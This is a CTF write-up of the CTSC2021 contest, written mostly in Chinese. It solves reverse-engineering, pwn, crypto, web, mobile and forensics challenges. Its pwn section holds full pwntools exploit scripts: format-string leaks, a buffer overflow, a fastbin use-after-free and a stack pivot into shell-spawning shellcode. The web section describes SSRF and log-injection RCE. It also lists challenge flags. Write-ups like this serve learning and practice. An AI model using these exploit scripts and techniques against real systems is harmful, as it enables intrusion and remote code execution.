CTSC2021 writeup By Sakura
# CTSC2021 writeup By Sakura
# RE
# free_flag
签到题,异或一下得flag
enflag = [
0x78, 0x64, 0x3F, 0x53, 0x6D, 0x79, 0x78, 0x64, 0x62, 0x3F,
0x78, 0x3D, 0x6F, 0x38, 0x3D, 0x78, 0x3C, 0x62, 0x53, 0x39,
0x75, 0x39, 0x78, 0x3F, 0x61, 0x53, 0x3D, 0x39, 0x53, 0x62,
0x3C, 0x78, 0x53, 0x3C, 0x39, 0x53, 0x39, 0x3F, 0x6F, 0x79,
0x7E, 0x3F, 0x0A
]
cipher = 0xC
for s in enflag:
print(chr(s^cipher),end='')
2
3
4
5
6
7
8
9
10
11
# crackme
upx脱壳。用户名填入crackme,在判断位置断点,并让程序防止跳转,每次断点查看v17变量
flag = [0x58,0x42,0x49,0x48,0x44,0x43,0x45,0x43,0x53,0x42]
for i in flag:
print(chr(i),end='')
2
3
md5 32位小写
# ck
题目说猜猜是什么加密算法,F5后已经可以盲猜一波base64换表
import base64
my_base64table = ",.0fgWV#`/1Heox$~\"2dity%_;j3csz^+@{4bKrA&=}5laqB*-[69mpC()]78ndu"
std_base64table ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "ef\"^sVK@3r@Ke4e6%6`)"
s = s.translate(str.maketrans(my_base64table,std_base64table))
print(base64.b64decode(s))
#04_tianhe233_29
2
3
4
5
6
7
# maze
迷宫题,ssddwdwdddssaasasaaassddddwdds
即flag{545d406061561f34247732d50c56ef0d}
# PWN
# bank
就嗯爆破第一位,然后格式化字符串即可
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
while(1):
try:
sh=remote('81.70.195.166',10000)
#sh=process('./bank')
sh.sendlineafter('Please enter your account:','aaaa')
sh.sendlineafter('Please enter your password:','\x00')
sh.sendlineafter('Do you want to check your account balance?','yes')
payload = 'a'*0x8+"%8$s"
sh.sendlineafter('Please input your private code: ',payload)
print("Success")
sh.interactive()
break
except:
print('Fuck')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# auto
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './auto'
ip = '81.70.195.166'
port = 10001
#remote_libc_path = 'b/x86_64-linux-gnubc.so.6'
context(os='linux', arch='i386')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = ''):
ret = u64(s.ljust(8, '\x00'))
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Chose:', str(idx))
def new(idx, size, content = '\n'):
chose(1)
sla('Index:', str(idx))
sla('Size:', str(size))
sa('Content:', content)
def delete(idx):
chose(2)
sla('Index:', str(idx))
def edit(idx, content):
chose(3)
sla('Index:', str(idx))
sa('Content:', content)
run(1)
tmp = p64(0x495255454A494355)
payload=''
for i in range(len(tmp)):
ch = ord(tmp[i]) - i*5
while(ch < 0x41):
ch += 26
payload += chr(ch)
sla('password:', payload)
payload = flat('a' * 0x4c, 0x8048665)
sla('again:', payload)
p.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# paper
Fastbin Attack -> Alloc to Stack
有栈上的地址,uaf漏洞在栈上构造chunk修改数据即可,注意下index
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
def choose(idx):
sh.sendlineafter("choice > ",str(idx))
def create():
choose(1)
def remove(idx):
choose(2)
sh.sendlineafter("Index:",str(idx))
def write(idx,data):
choose(3)
sh.sendlineafter("Index:",str(idx))
sh.sendlineafter("word count:",str(data))
def stk_write(data):
choose(5)
sh.sendlineafter("Which disk?",str(data))
def ptr():
choose(4)
def finish():
choose(6)
#sh=process('./paper')
sh=remote('81.70.195.166',10003)
#pos=0
ptr()
pos=int(sh.recvline()[19:31],16)
print hex(pos)
flag=pos+8
create()
remove(0)
stk_write(33)
pause()
#write(0,pos)
write(0,pos-8)
pause()
create()
create()
write(2,3435973836)
finish()
#sh.recv()
sh.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# small
没开NX,栈溢出,直接栈迁移shellcode,gdb就嗯调
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh=remote("81.70.195.166",10002)
#sh=process('./small')
elf=ELF('./small')
bss=elf.bss()+0x100
#gdb.attach(sh)
print hex(bss)
payload=p64(bss)*3+p64(0x401011)
sh.sendline(payload)
pause()
shellcode=asm(shellcraft.sh())
#gdb.attach(sh)
#pause()
sh.sendline('a'*0x18+p64(bss+0x10)+shellcode)
#pause()
#sh.sendline('a'*24+p64(bss-0x10))
sh.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# CRYPTO
# bad-curve
大概是非预期解,直接爆破了
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
if __name__ == "__main__":
a = 4772913380768971224711602816943506381429523609738355134556748160902211637274533659159340900788332375138903310885955
a = long_to_bytes(a)
for exp in range(10000):
try:
aes = AES.new(int(exp).to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))
src = unpad(aes.decrypt(a), AES.block_size)
if b'flag' in src:
print(f"第{exp}次:{src}")
except Exception as e:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# WEB
# easyweb
http://49.232.167.183:30001/?foo={%22bar1%22:%222022asd%22,%22bar2%22:[[0],2,3,4,5],%22a2%22:%22nudt%22}&cat[1][]=%221%22&&dog=what&cat[0]=%00cstc2021
# easyweb2
扫目录,发现swagger-ui.html
注意到这个的 getimage
尝试 ssrf
利用ftp协议读取flag文件,得到flag
# ctfweb3
在 robots.txt 发现入口 PassOn,f12源码中发现备份目录
<meta name="backup-directory" content="PassOnbackupDirect0ry">
找到 backup.zip 源码泄露
在 style.css 中找到用户名,邮箱
重置密码,根据源码中 reset.php
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
得到密码应为右下角时间取sha1再hash再去substr(0,20),得到密码。
审计源码得到在登陆的过程中,会将失败的用户名直接写入一个php文件中作为log,造成RCE。
然后登陆,从http://49.232.3.115:49362/PassOn/secretlogfile.php
访问log,得到flag
# Mobile
# ALL_IN_ALL
用frida-dexdump把壳脱掉,再用jeb打开dex,发现校验函数是checkSN
因为没jeb付费版本...无奈只能用jadx,发现就是判断输入就是userName和md5
通过用反射大师找到userName为HuMen
得到flag为flag{749fef1ed34917cc23376494813053b2}
# MISC
# pack!pack!pack!
放入peinfo发现应该是加了壳,用upx脱壳失败。先正常打开软件,让程序正常脱壳后,用火绒剑查找内存字符串,flag应该是少了半截,再用ida附加到进程上并跳转到0x0010ba78+0x00430000(基址)位置上
定位到flag位置后上下再找一找便找到一串base64码,解码发现是另外一截,拼起来即为flag
flag{0bed66d154ccbdd07a6342abf97a5cfc}
# RGB
# -*- coding: utf-8 -*-
"""
Created on Tue Oct 13 23:52:40 2020
@author: akiba
"""
from PIL import Image
def read_file(src):
with open(src, 'r', encoding="utf-8") as f:
result = f.readlines()
return result
res = read_file('code.txt')
src = [(int(i.split('#')[0]), int(i.split('#')[1]), int(i.split('#')[0]))
for i in res]
for j in range(160, 170):
img = Image.new("RGB", (300, 300), (0, 0, 0))
pixTuple = (0, 0, 0, 0)
x = 1
y = 1
for ite in src:
img.putpixel((x, y), ite)
x += 1
if x == j:
x = 0
y += 1
img.save(f".\img\{j}.png")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# zip
第一层zip弱密码爆破,ff123
readme中有培根密码xyj
word里如图
# Memory_1
这个题需要寻找内存中的病毒。直接利用volatility 可以找到其中的
cmdscan/cmdline
可以发现如此一个比较可疑的进程。
md5可以发现是这个。提交flag成功
# Memory_2
这个题我先是根据其pid进行查找,但是始终没有提交正确,于是转换思路直接去查进程。 psscan / pslist 可以找到一个进程为net1.exe 这个进程可以引起接下来的木马执行。 而隐藏用户比较好找,直接使用- K printKey查找用户表 或者直接hashdump 其中用户名含$的就是 隐藏用户。 md5提交即可。